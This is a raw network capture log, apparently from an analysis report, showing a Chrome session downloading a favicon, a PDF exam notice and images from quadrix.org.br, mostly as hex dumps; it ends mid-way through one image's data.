2024-05-10 07:21:02 UTC	138	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49815	172.66.40.85	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:21:03 UTC	529	OUT	GET /favicon.ico HTTP/1.1 Host: www.quadrix.org.br Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gcl_au=1.1.678302047.1715325657; _clck=1vtxbdf%7C2%7Cfln%7C0%7C1591; _fbp=fb.2.1715325659394.951004112; _clsk=wf5kls%7C1715325660213%7C1%7C1%7Cv.clarity.ms%2Fcollect
2024-05-10 07:21:03 UTC	355	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 07:21:03 GMT Content-Type: image/x-icon Content-Length: 3774 Connection: close Last-Modified: Thu, 11 Feb 2016 21:10:02 GMT ETag: "0715e921065d11:0" X-Powered-By: ASP.NET Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 6863 Accept-Ranges: bytes Server: cloudflare CF-RAY: 88182b931fa461b3-ORD
2024-05-10 07:21:03 UTC	1014	IN	Data Raw: 00 00 01 00 01 00 30 30 00 00 01 00 08 00 a8 0e 00 00 16 00 00 00 28 00 00 00 30 00 00 00 60 00 00 00 01 00 08 00 00 00 00 00 80 0a 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 00 00 00 1d 28 ba 00 5d 60 63 00 69 6a 6f 00 67 69 6d 00 62 63 66 00 69 6a 6d 00 5d 5e 61 00 0f 11 16 00 03 05 0a 00 0c 0e 12 00 04 05 09 00 29 2a 2f 00 3b 3c 41 00 01 03 07 00 0c 0f 13 00 01 03 08 00 16 19 1b 00 16 18 1c 00 16 17 1d 00 1b 1b 21 00 0f 0f 16 00 42 43 48 00 58 5a 5d 00 0b 0d 11 00 1a 1c 20 00 13 14 19 00 24 25 29 00 0d 0f 13 00 19 1a 1e 00 1a 1b 1f 00 09 0b 0f 00 5e 5e 62 00 76 78 7a 00 09 0b 11 00 17 1a 1e 00 17 19 1d 00 0e 0f 15 00 49 4a 4c 00 0a 0a 10 00 1d 1c 22 00 18 18 1e 00 0f 11 15 00 15 17 1c 00 18 1a 1f 00 0e 0f 13 00 63 63 68 00 33 36 38 00 0d Data Ascii: 00(0`(]`cijogimbcfijm]^a)*/;<A!BCHXZ] $%)^^bvxzIJL"cch368
2024-05-10 07:21:03 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 Data Ascii:
2024-05-10 07:21:03 UTC	1369	IN	Data Raw: 00 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 00 2a 41 42 43 44 00 45 1f 46 47 1d 00 00 00 00 00 00 00 00 00 00 00 00 01 01 01 01 00 00 00 00 00 01 01 01 01 00 00 00 00 00 00 00 00 00 00 00 39 35 19 3a 3b 00 00 00 3c 3d 3e 3f 40 00 00 00 00 00 00 00 00 00 00 00 01 01 01 01 00 00 00 00 00 01 01 01 01 00 00 00 00 00 00 00 00 00 00 2f 30 31 32 33 00 00 00 00 00 34 35 36 37 38 00 00 00 00 00 00 00 00 00 00 01 01 01 01 00 00 00 00 00 01 01 01 01 00 00 00 00 00 00 00 00 00 26 27 28 29 2a 00 00 00 00 00 00 00 2b 13 2c 2d 2e 00 00 00 00 00 00 00 00 00 01 01 01 01 00 00 00 00 00 01 01 01 01 00 00 00 00 00 00 00 00 00 1c 1d 1e 1f 20 00 00 00 00 00 00 00 21 22 23 24 25 00 00 00 00 00 00 00 00 00 01 01 01 01 00 00 00 00 00 01 01 01 01 00 00 00 00 00 00 00 00 12 13 Data Ascii: ABCDEFG95:;<=>?@/012345678&'()+,-. !"#$%
2024-05-10 07:21:03 UTC	22	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49819	172.66.43.171	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:21:03 UTC	682	OUT	GET /Archives/General/30728/31054/31055/E041D722C411/1_CRF-AC_concurso_publico_2024_edital_1_abertura.pdf HTTP/1.1 Host: www.quadrix.org.br Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.quadrix.org.br/build/pdf.worker.js Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gcl_au=1.1.678302047.1715325657; _clck=1vtxbdf%7C2%7Cfln%7C0%7C1591; _fbp=fb.2.1715325659394.951004112; _clsk=wf5kls%7C1715325660213%7C1%7C1%7Cv.clarity.ms%2Fcollect
2024-05-10 07:21:03 UTC	361	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 07:21:03 GMT Content-Type: application/pdf Content-Length: 539511 Connection: close Last-Modified: Thu, 02 May 2024 20:30:38 GMT ETag: "18712898cf9cda1:0" X-Powered-By: ASP.NET Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 6861 Accept-Ranges: bytes Server: cloudflare CF-RAY: 88182b97288b110a-ORD
2024-05-10 07:21:03 UTC	1008	IN	Data Raw: 25 50 44 46 2d 31 2e 37 0d 0a 25 b5 b5 b5 b5 0d 0a 31 20 30 20 6f 62 6a 0d 0a 3c 3c 2f 54 79 70 65 2f 43 61 74 61 6c 6f 67 2f 50 61 67 65 73 20 32 20 30 20 52 2f 4c 61 6e 67 28 70 74 29 20 2f 4d 65 74 61 64 61 74 61 20 31 35 39 20 30 20 52 2f 56 69 65 77 65 72 50 72 65 66 65 72 65 6e 63 65 73 20 31 36 30 20 30 20 52 3e 3e 0d 0a 65 6e 64 6f 62 6a 0d 0a 32 20 30 20 6f 62 6a 0d 0a 3c 3c 2f 54 79 70 65 2f 50 61 67 65 73 2f 43 6f 75 6e 74 20 33 35 2f 4b 69 64 73 5b 20 33 20 30 20 52 20 32 36 20 30 20 52 20 33 30 20 30 20 52 20 33 35 20 30 20 52 20 34 32 20 30 20 52 20 34 36 20 30 20 52 20 34 38 20 30 20 52 20 35 32 20 30 20 52 20 35 37 20 30 20 52 20 36 31 20 30 20 52 20 36 33 20 30 20 52 20 36 39 20 30 20 52 20 37 33 20 30 20 52 20 37 38 20 30 20 52 20 38 30 Data Ascii: %PDF-1.7%1 0 obj<</Type/Catalog/Pages 2 0 R/Lang(pt) /Metadata 159 0 R/ViewerPreferences 160 0 R>>endobj2 0 obj<</Type/Pages/Count 35/Kids[ 3 0 R 26 0 R 30 0 R 35 0 R 42 0 R 46 0 R 48 0 R 52 0 R 57 0 R 61 0 R 63 0 R 69 0 R 73 0 R 78 0 R 80
2024-05-10 07:21:03 UTC	1369	IN	Data Raw: 5b c8 9d 7e 70 a1 69 be 78 dc 6c 9e bf d1 8d 02 c5 ae 50 9d dc bc 7e 8e 9f b7 e3 cf 1f 7d 71 eb a3 6f 4f 36 db ff bd 79 f2 3f 6e 7d 74 57 73 f8 dd ad 8f 7e 88 c3 13 4f 19 46 de b4 ed 4e b5 08 7d 84 f8 86 80 ca 31 50 d9 95 bb 66 53 c9 5d ab e1 c6 e0 14 47 e1 f4 70 57 45 91 c6 fd 66 87 53 b5 bb f2 ba 81 8a 8d 6e 4e 75 cd 4e 69 f5 69 6a f8 47 34 62 57 54 9b b2 dd d5 48 fb ec 63 6c 30 4c 44 0d 8a a6 d8 75 d4 0b fd a4 ac e5 06 be 55 4a fc 96 fe e7 0c 26 d5 fd 8b fd f3 83 10 9b cf af 36 04 55 16 d4 b0 da 75 ba e1 b2 da 35 ed a6 d2 7f b8 0d d3 a7 d0 30 3e 19 7c c5 69 55 f6 ad c6 cb 5f 4d b5 b4 d1 7a d2 34 e5 af 6b 36 4d 70 8a ba d8 95 5a 0c 55 b7 6b 9a 28 a0 77 b6 a7 ea e4 c1 f6 b4 3e f9 7a 7b da 9c 3c de d6 27 77 b7 d5 c9 97 fa df df ea 8f 3b dd 13 fd ec 11 50 Data Ascii: [~pixlP~}qoO6y?n}tWs~OFN}1PfS]GpWEfSnNuNiijG4bWTHcl0LDuUJ&6Uu50>\|iU_Mz4k6MpZUk(w>z{<'w;P
2024-05-10 07:21:03 UTC	1369	IN	Data Raw: d8 62 8b 7a 56 75 30 d7 0d 64 64 ee 74 6e 03 bf 62 db 9a a6 d5 00 71 82 c8 c6 cc 9d 41 9b 39 17 0c a9 1d 6f 9f f0 2f 01 d4 2f 20 dc 1f 41 37 91 fb 4b 9a ac 39 21 e0 8e d0 03 e1 02 84 fc 17 2d 6f 36 3e 24 e1 ac 2b a6 40 8f 60 9e 3d 8d 39 cb 41 b3 c7 b1 63 39 98 55 8b 97 47 59 19 7b ae 47 cd 62 7d bd 75 d6 36 a3 1e 3f e0 62 09 63 7f be 2d 7b 5d 9e 68 0e ea 07 6a 0e 6a 01 7c dd b5 bb 83 56 33 1a b3 4a 95 60 1d 3c 22 61 b7 0c 46 24 ab 6b 56 95 1d 6c 01 3d 5c b3 ba 66 55 25 bd ac c0 35 93 d7 e1 9a 55 b5 0a f4 6f 97 97 55 0d 07 e7 1e 56 59 a7 4f 55 b7 e0 69 66 65 95 69 41 a9 4a 38 61 f9 f5 84 14 26 6a 48 30 35 6d 17 9b 8a 43 36 02 77 9d 74 58 86 71 79 fe 04 1c 06 fc e4 21 1f c6 29 fa 13 3e ff 17 9c b4 ff 46 47 48 ad f9 a2 64 5a da 1d c3 e6 1c 68 bf 82 a8 30 fc Data Ascii: bzVu0ddtnbqA9o// A7K9!-o6>$+@`=9Ac9UGY{Gb}u6?bc-{]hjj\|V3J`<"aF$kVl=\fU%5UoUVYOUifeiAJ8a&jH05mC6wtXqy!)>FGHdZh0
2024-05-10 07:21:03 UTC	1369	IN	Data Raw: d1 55 d9 30 d1 20 00 54 75 12 d5 54 a1 29 3e a2 1d b3 66 37 c3 f8 0f e4 8b 42 eb 65 ec 8e 1d 0e 74 2e b6 a7 02 8e 91 4f 31 1c 87 a9 52 93 40 a6 c1 dd e2 b6 23 3b ee ba 05 75 02 07 30 72 55 bf 83 c9 91 57 90 02 71 09 c0 cf f8 50 04 53 22 84 a4 1f 7f c5 0f f9 b9 68 c1 85 c2 de 79 c2 58 11 c0 a7 37 db f5 96 b6 68 53 90 cf c4 b1 84 9e 4c ed 20 6c 30 56 ad 10 09 c7 b1 44 05 61 1e f0 02 15 c7 49 92 db 98 1f 1c a9 dd 96 9a dc c0 a8 4d 21 fc de d0 59 f6 c3 87 0f a7 ae 5f 2c 8e a9 ac 55 09 a1 ba 68 20 b3 b2 2e c5 4e 2e c8 3a 40 62 0e 80 14 f5 c0 c8 ba 9d c8 7a b1 0d 8f ac 4b 1a c5 f8 2e 3e 44 9d a6 e9 f0 b9 76 b6 cb 19 67 3b 16 cd 54 e2 75 09 2e cf 3a 89 53 fc b1 9f 5c e5 8c e9 0c 13 0d 22 b5 41 d3 19 d3 8e 47 f2 2d 96 a8 c8 6f 39 0d ec 90 e5 5c 01 5b 2f a3 69 f6 Data Ascii: U0 TuT)>f7Bet.O1R@#;u0rUWqPS"hyX7hSL l0VDaIM!Y_,Uh .N.:@bzK.>Dvg;Tu.:S\"AG-o9\[/i
2024-05-10 07:21:03 UTC	1369	IN	Data Raw: 30 0f 5e fe 0e 81 87 8b b1 1f cc 27 6c 3f 0c 1f 7a 3a e2 e5 10 29 e9 a8 c7 6c 32 2b 53 2d 18 99 20 3f 87 28 c0 cf 89 c1 28 19 b2 44 56 86 38 ba 63 5e 3d 91 ea 89 a6 4d d9 78 86 92 61 73 15 ee 59 4f 14 ea 19 db b4 a0 24 d9 a6 05 d9 f5 34 01 6e 6c f7 bc 62 64 bb 17 66 64 69 42 8c c8 36 1a 46 41 db e8 8e d9 c4 d1 73 88 54 4f e4 49 12 f6 77 cc 18 d0 60 cf 1c a2 40 d7 9c 2d 87 92 4b 56 36 cc af 27 0a f1 63 03 cb 1a 32 6f 8a 8d 6d 0d ca d2 21 0a c8 d2 f1 ae 94 9c 37 c0 c6 a6 ba bd ab 27 dc 7a 22 d5 13 05 9a 0a 50 fd 70 6b 5d 95 14 3a a8 28 9b de eb 4b da e8 8d 4a 26 c0 26 5b f5 b5 04 e6 2a 1e d0 3e 7c 4c e2 96 4d d0 0e 32 1c 4f d8 b2 09 33 c7 5d f3 7c 62 0a 27 40 d2 4d 5c 4f 17 0b 27 2c 83 f0 97 4e 88 87 e1 2f 9d c0 fc cd 25 f7 f9 3b fb 2c ee 11 d1 b0 7c 82 b6 Data Ascii: 0^'l?z:)l2+S- ?((DV8c^=MxasYO$4nlbdfdiB6FAsTOIw`@-KV6'c2om!7'z"Ppk]:(KJ&&[*>\|LM2O3]\|b'@M\O',N/%;,\|
2024-05-10 07:21:03 UTC	1369	IN	Data Raw: 15 33 82 01 12 33 7c 01 46 66 ec dc 56 ea 99 72 82 fa 6f 78 7b 68 e7 14 6a 70 56 aa 08 92 40 39 89 b2 6b e2 dd 18 7b f5 ca 53 4e 22 19 02 27 e1 45 83 08 97 92 30 ec 4d 29 89 a1 90 66 88 54 0c 46 ce 2a 4b c0 48 c5 21 7e 34 17 16 9f 6f 4b ba a5 78 4e af ca 11 f5 c9 77 27 f8 02 30 f8 f0 bb ad 2f d5 2b 19 69 57 a0 dd 5f 2b 4d 0e 99 30 7b 7b f7 7b 28 cd 65 a2 60 45 88 04 8c de 8a 10 47 f0 c6 04 c3 b5 f2 61 37 84 d9 e3 25 dd f1 74 0c 11 04 ab 40 ac 92 cb 71 7c b1 02 c4 6a 99 90 f3 13 90 49 90 20 58 f9 61 9d 4c 8e e2 5b 27 8e 45 a8 ea 43 78 1e 2d 13 85 aa 3d 1c 63 bd fd d5 1e d2 41 60 a5 87 b5 72 a2 0d b0 19 21 aa a3 30 14 d2 02 45 a8 c2 43 02 38 5f 85 87 64 be 55 ca c8 04 ab 3b 38 ac 67 74 67 91 26 58 d5 21 01 a1 af aa 43 3a 6b aa e8 b0 5a 38 74 64 ea b7 36 61 Data Ascii: 33\|FfVrox{hjpV@9k{SN"'E0M)fTF*KH!~4oKxNw'0/+iW_+M0{{{(e`EGa7%t@q\|jI XaL['ECx-=cA`r!0EC8_dU;8gtg&X!C:kZ8td6a
2024-05-10 07:21:03 UTC	1369	IN	Data Raw: 68 c2 81 df 35 a2 39 96 73 9d 36 28 c1 c8 ef d2 e4 8a a2 0b c6 7f d3 97 82 99 58 d5 1a 18 14 01 5e 27 2e 0e b3 d2 50 85 df 8f 16 22 0a 86 81 a3 11 36 be 28 f0 11 9c ab 84 21 0a c7 81 2d 73 8f 26 c5 90 85 a3 c1 d1 30 bd c1 e0 63 98 73 3c 78 a5 8c 78 63 12 b2 44 8b 34 e1 a0 70 fa 3c 53 fe 98 70 2a 06 0e 0b af f4 b7 78 db 85 cc 97 5f 88 16 a6 0b c7 86 a3 81 ae 4f a8 3d 06 25 47 69 a3 51 2e 04 69 8f 81 c0 71 5a 07 42 4c 34 96 ec f3 c2 0b cf 7c 54 c3 98 ac 76 8d 3b 13 92 3d aa a1 70 64 d6 e9 58 62 60 f6 08 a6 26 36 3b c3 34 14 9a 45 4e e1 b7 9d cd d3 0c 03 b4 25 d5 3c f0 bf cf 2b d4 48 38 4c 5b cd 06 9b 67 c2 b4 f8 a6 33 7c e7 59 15 1b a6 4d 07 c5 41 c9 79 50 9e 48 ad 6a 77 55 28 ad 76 11 85 2f 5a 5b c2 a2 7e 4d c1 da a3 45 33 0b 2a 10 ae a5 f7 a2 f9 c3 b5 b5 Data Ascii: h59s6(X^'.P"6(!-s&0cs<xxcD4p<Spx_O=%GiQ.iqZBL4\|Tv;=pdXb`&6;4EN%<+H8L[g3\|YMAyPHjwU(v/Z[~ME3
2024-05-10 07:21:03 UTC	1369	IN	Data Raw: 0b 32 03 f3 f1 ff d8 ee 38 66 bf e1 1d 69 4e 03 5c 61 04 7a d8 07 61 e1 0b 46 fe 7f 40 fb fa 1f 3b 50 d2 1f 34 38 b0 b6 38 a9 00 31 22 fd 09 f0 ef a8 fc 69 83 1f 6b bb 2c 5b fa e8 29 9a c6 9c be 8f c2 17 27 dc 90 02 48 d5 c0 66 36 96 3b 7a 21 f4 7a 80 4f d7 e0 28 27 38 4a 05 2f a7 88 97 c2 21 2f f7 36 6d 0c a6 c9 88 6b b8 57 22 8d fb 05 ac 09 7b fb 9e db 69 ea f1 1a 85 a0 e3 88 24 85 68 51 21 7e 93 57 31 1b 7c b5 cd d2 ac 9e b8 37 7d b0 ea 1f e1 17 67 86 c3 1b 52 c2 73 fc ba a6 b8 6a 24 3a 31 29 32 55 28 d3 ef b6 6b f6 59 62 fa 42 08 ac 35 73 b4 ad e9 c7 c0 1a 5d a1 3d 83 d6 9c 3e 8c ce 46 cd 10 02 4d 87 2f 04 1b 93 7c d8 6d ae a6 8d ca f0 bb de 6d 6e 24 8a 6f 4f 54 fe 6d 6e 34 ef cc 4e bc a6 8d e7 fd 40 4f 55 dc 8a 28 b3 7d 01 6f f7 92 83 d4 a3 cd 26 3b Data Ascii: 28fiN\azaF@;P4881"ik,[)'Hf6;z!zO('8J/!/6mkW"{i$hQ!~W1\|7}gRsj$:1)2U(kYbB5s]=>FM/\|mmn$oOTmn4N@OU(}o&;
2024-05-10 07:21:03 UTC	1369	IN	Data Raw: eb 16 91 6d d3 0d 4d 4b b2 4d 50 37 32 71 df 57 f1 c4 b9 6d 37 53 93 0d 92 51 b0 ec e7 95 2d 95 b9 4c 80 1d 99 38 11 b3 31 cd 9a 99 80 85 2d 13 fa d1 c7 59 7f be e2 d3 24 dc 17 c3 06 d8 41 fb 07 1b 66 ed f7 ba f6 d0 d2 1e 67 ba e1 b0 f2 3a 4c 41 53 83 6b 9e d0 bd 47 18 3f b0 77 c8 3e 7b 0d d3 1f 53 fb d0 4a d0 9d ad 4f 01 3b 9d 9a 65 cd 08 82 6b fa 09 58 f3 1a 01 d5 ed 92 24 95 77 6d 2e c5 0d 72 27 13 a4 44 7c e8 49 b2 0d aa b3 1e 1c eb de a7 c0 c8 9c 13 96 c2 fa c1 56 4a 7b 24 21 14 6f 49 e8 92 ba e4 ec 02 9c dc 10 37 e0 1d 80 6c dc 6f e0 93 7e 37 26 cd 76 4c 7f 7f b4 49 40 4f 88 2c ce b6 cf 1b 12 ca 64 7d 48 4a 30 c3 10 05 06 cc de 6e 85 13 6e 9f 30 26 b3 05 bf be de 4a fe ca f3 ed 20 d2 e1 44 e7 7b 37 0f a9 f1 44 08 b1 bf 84 3e 7e ef dc d3 e1 d0 1e 18 Data Ascii: mMKMP72qWm7SQ-L81-Y$Afg:LASkG?w>{SJO;ekX$wm.r'D\|IVJ{$!oI7lo~7&vLI@O,d}HJ0nn0&J D{7D>~
2024-05-10 07:21:03 UTC	1369	IN	Data Raw: f1 66 66 66 ce 62 ce 6c 66 27 44 e2 ad eb 9b d6 f7 4a 92 2f 76 e3 6e 48 05 6f 04 69 7e 15 8e 48 2d 93 44 92 db 11 81 2a aa 49 82 c8 3a c7 c1 39 56 49 bd cf ea 07 55 4d 09 07 e7 37 25 7c f2 c9 b5 2f 18 79 2e 9a d7 f1 92 65 1a f7 90 db e5 5c b2 17 ca 24 83 bc e3 a0 a6 43 d4 97 e6 c2 30 dc 19 86 56 7a ff e8 0f 83 ba 04 54 b5 e8 54 54 c3 c6 23 de eb 81 94 e5 d0 cf 81 0f cc bf 09 0e cf b8 6b 31 be 0a 7f cd 65 9f b5 70 63 89 eb 62 fc c8 4d d3 ae 49 bc e6 25 39 7c fd 82 47 c8 dc 1d be 18 75 c5 2d af 00 cf 8d 30 07 af 5d 31 15 21 b0 78 d8 e0 d2 c6 dc 38 99 8b 64 13 71 99 d1 ca 3e d9 ca 3a f6 20 70 56 47 e4 ac 92 b8 f1 0c ba cf 62 ea 57 8c bc fe da 08 11 e5 49 05 ec ac b7 a0 7f 0c f5 df de 86 1b 5e 2a b1 55 ea b8 26 3a 8e de b0 42 16 d2 99 3a 65 34 e7 b2 9e fa c0 Data Ascii: fffblf'DJ/vnHoi~H-DI:9VIUM7%\|/y.e\$C0VzTTT#k1epcbMI%9\|Gu-0]1!x8dq>: pVGbWI^U&:B:e4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49821	172.66.43.171	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:21:04 UTC	792	OUT	GET /web/images/shadow.png HTTP/1.1 Host: www.quadrix.org.br Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.quadrix.org.br/web/viewer.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gcl_au=1.1.678302047.1715325657; _clck=1vtxbdf%7C2%7Cfln%7C0%7C1591; _fbp=fb.2.1715325659394.951004112; _clsk=wf5kls%7C1715325660213%7C1%7C1%7Cv.clarity.ms%2Fcollect
2024-05-10 07:21:04 UTC	402	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 07:21:04 GMT Content-Type: image/png Content-Length: 281 Connection: close Cf-Bgj: imgq:85,h2pri Cf-Polished: origSize=290 ETag: "8093132c441cd21:0" Last-Modified: Sun, 02 Oct 2016 00:30:27 GMT X-Powered-By: ASP.NET Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 3269 Accept-Ranges: bytes Server: cloudflare CF-RAY: 88182b9d1c8d22ec-ORD
2024-05-10 07:21:04 UTC	281	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 13 00 00 00 13 08 04 00 00 00 d8 59 fe 47 00 00 00 e0 49 44 41 54 78 da 5d d0 81 ae 82 30 10 44 d1 bb 5d 0a 95 f7 ff bf fa 12 11 a8 3a 93 46 b1 93 a2 b2 87 41 e0 b2 0a 95 45 a9 e4 75 30 56 d2 b8 b1 7a 2b 0b f9 cb 2a 8d 26 e0 fd 27 d8 a8 5f cc 48 83 55 64 a5 99 e9 f6 98 25 f3 2b 8b e9 c0 6f a2 cc a4 59 a5 8a 2d 83 18 0b ce 9a 52 48 26 2a 83 8e c7 70 57 55 26 b2 50 4c 07 73 9b 91 09 49 88 99 2a 95 26 36 fb b7 26 41 fa 49 83 d0 31 d5 7b 33 f0 39 05 b3 4e d7 f1 e0 64 e7 9f 43 df 74 4e d1 55 93 e2 06 e3 8d c7 75 27 30 48 10 62 bb 86 1b 77 7f be 61 d2 09 8a 12 74 75 1d 3c 5e b9 b3 79 9b 41 28 a8 e9 64 17 72 cf 48 4f e0 04 df 4e ec 10 34 73 d7 0e 09 82 22 46 62 22 fe 5f 60 66 68 74 9a 09 ba 49 2b f8 5e 7e Data Ascii: PNGIHDRYGIDATx]0D]:FAEu0Vz+&'_HUd%+oY-RH&pWU&PLsI*&6&AI1{39NdCtNUu'0Hbwatu<^yA(drHON4s"Fb"_`fhtI+^~

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49822	172.66.43.171	443	7896	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-10 07:21:04 UTC	798	OUT	GET /web/images/loading-icon.gif HTTP/1.1 Host: www.quadrix.org.br Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.quadrix.org.br/web/viewer.css Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _gcl_au=1.1.678302047.1715325657; _clck=1vtxbdf%7C2%7Cfln%7C0%7C1591; _fbp=fb.2.1715325659394.951004112; _clsk=wf5kls%7C1715325660213%7C1%7C1%7Cv.clarity.ms%2Fcollect
2024-05-10 07:21:04 UTC	403	IN	HTTP/1.1 200 OK Date: Fri, 10 May 2024 07:21:04 GMT Content-Type: image/gif Content-Length: 2536 Connection: close Cf-Bgj: imgq:85,h2pri Cf-Polished: origSize=2545 ETag: "80c8028441cd21:0" Last-Modified: Sun, 02 Oct 2016 00:30:21 GMT X-Powered-By: ASP.NET Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 3269 Accept-Ranges: bytes Server: cloudflare CF-RAY: 88182b9d2c040165-ORD
2024-05-10 07:21:04 UTC	966	IN	Data Raw: 47 49 46 38 39 61 18 00 18 00 f4 10 00 ce ce ce fa fa fa e0 e0 e0 b0 b0 b0 e8 e8 e8 8e 8e 8e c8 c8 c8 9c 9c 9c d8 d8 d8 a8 a8 a8 c0 c0 c0 f2 f2 f2 76 76 76 86 86 86 b8 b8 b8 68 68 68 ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 21 fe 1a 43 72 65 61 74 65 64 20 77 69 74 68 20 61 6a 61 78 6c 6f 61 64 2e 69 6e 66 6f 00 21 f9 04 09 07 00 10 00 2c 00 00 00 00 18 00 18 00 00 05 ae 20 24 8e 24 e4 38 65 5a 06 08 d9 34 64 a0 92 02 a3 8c cf 33 2e 82 3c 8b 0d 86 40 94 13 05 04 c3 9f 48 c1 38 00 61 10 82 60 a1 3a 92 0a 0c ea 49 24 20 c4 46 82 42 c1 60 4c 78 47 81 33 84 d7 1b 19 c4 07 df 4f 3a 2d 11 12 85 81 52 4a Data Ascii: GIF89avvvhhh!NETSCAPE2.0!Created with ajaxload.info!, $$8eZ4d3.<@H8a`:I$ FB`LxG3O:-RJ
2024-05-10 07:21:04 UTC	1369	IN	Data Raw: 05 b5 20 24 8e 24 84 20 65 9a 12 a4 a2 90 42 a0 8e 8b 22 8c c3 30 02 07 3b 8b ae 85 28 27 22 1c 12 bf 91 40 01 00 be 20 8e 43 53 25 1c 19 14 b2 13 64 71 d0 29 65 5b 00 c0 07 01 54 45 35 b0 a1 50 b8 15 c5 a8 64 e0 c0 36 94 16 08 80 7b 36 28 24 c8 25 01 60 33 0b 67 49 87 77 04 02 02 04 86 33 0a 05 0c 0c 05 0a 0b 8a 8c 8e 2a 90 92 94 88 9e 9f 68 99 22 01 8a 80 29 07 0f 05 71 34 8b a6 29 01 0d 0f 0f 0e 23 01 8b 67 04 83 10 a4 23 0e 0c 0f 53 bb 24 8a a1 22 8c 24 08 ba ac 3e 04 cc 02 a2 25 8b 60 8b a3 d4 72 cf 4a 7b 0b 31 87 ba cd 24 ca 88 85 87 21 00 21 f9 04 09 07 00 10 00 2c 00 00 00 00 18 00 18 00 00 05 b4 20 24 8e 24 24 08 65 9a 2e a4 61 